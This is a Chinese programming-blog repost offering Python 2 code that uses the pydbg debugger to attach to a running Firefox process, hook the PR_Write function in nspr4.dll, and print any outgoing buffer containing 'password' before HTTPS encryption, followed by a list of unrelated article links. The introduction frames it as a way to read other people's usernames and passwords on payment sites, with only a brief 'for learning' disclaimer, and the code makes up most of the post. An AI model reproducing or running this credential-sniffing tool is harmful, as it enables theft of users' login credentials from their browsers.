python利用hook技术破解https的实例代码

时间:2021-10-24 17:20:15 

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:


#!/ur/bin/env python    
from pydbg import *
from pydbg.defines import *

import utils    
import sys    

dbg = pydbg()    
found_firefox = False

pattern = "password"

         
def ssl_sniff( dbg, args ):    
    buffer = ""    
    offset = 0

    while 1:    
        byte = dbg.read_process_memory( args[1] + offset, 1 )    
        if byte != "x00":    
            buffer += byte    
            offset += 1
            continue
        else:    
            break
    if pattern in buffer:    
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE    
# 寻找firefox.exe的进程    
for (pid, name) in dbg.enumerate_processes():    
    if name.lower() == "firefox.exe":    
        found_firefox = True
        hooks = utils.hook_container()    
        dbg.attach(pid)    
        print "[*] Attaching to firefox.exe with PID: %d" % pid    
# 得到firefox的hook的 address    
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")    
        if hook_address:    
# 添加hook的内容,包括他的pid,地址,嗅探类型   

            hooks.add( dbg, hook_address, 2, ssl_sniff, None )    
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address    
            break
        else:    
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)    
        if found_firefox:    
            print "[*] Hooks set, continuing process."
            dbg.run()    
        else:    
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)    

if found_firefox:    
    print "[*] Hooks set, continuing process."
    dbg.run()    
else:    
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

转自:http://world77.blog.51cto.com/414605/518679

标签:hook,https
0
投稿

猜你喜欢

  • Python实现图片滑动式验证识别方法

    2023-11-05 22:14:52
  • Python使用Selenium爬取淘宝异步加载的数据方法

    2021-05-17 05:31:57
  • python实现beta分布概率密度函数的方法

    2021-08-02 21:39:16
  • Hibernate Oracle sequence的使用技巧

    2023-07-06 05:18:42
  • Server.HTMLEncode让代码在页面里显示为源代码

    2023-11-24 13:40:28
  • python获取指定时间段内特定规律的日期列表

    2021-02-09 02:16:25
  • Python深度学习实战PyQt5菜单和工具栏功能作用

    2021-04-04 16:09:40
  • Python中input()函数的用法实例小结

    2021-09-04 18:42:59
  • python matplotlib画图时坐标轴重叠显示不全和图片保存时不完整的问题解决

    2023-12-11 03:42:42
  • GO语言入门学习之基本数据类型字符串

    2023-07-16 08:26:31
  • asp任何连接带密码的access数据库

    2008-04-29 21:36:00
  • Mootools常用方法扩展(二)

    2009-01-11 18:22:00
  • Python实现视频下载功能

    2022-04-06 13:42:14
  • python通过百度地图API获取某地址的经纬度详解

    2021-11-06 12:14:45
  • 用Python计算三角函数之atan()方法的使用

    2023-06-22 22:26:00
  • 用Asp+XmlHttp实现RssReader功能

    2008-07-09 12:20:00
  • python数组的复制与列表中的pop

    2021-07-10 12:05:24
  • matplotlib之pyplot模块坐标轴范围设置(autoscale(),xlim(),ylim())

    2022-03-15 09:01:16
  • JS实现两周内自动登录功能

    2023-08-04 21:20:57
  • Pytorch实现将label变成one hot编码的两种方式

    2021-08-26 08:45:00
  • asp之家 网络编程 m.aspxhome.com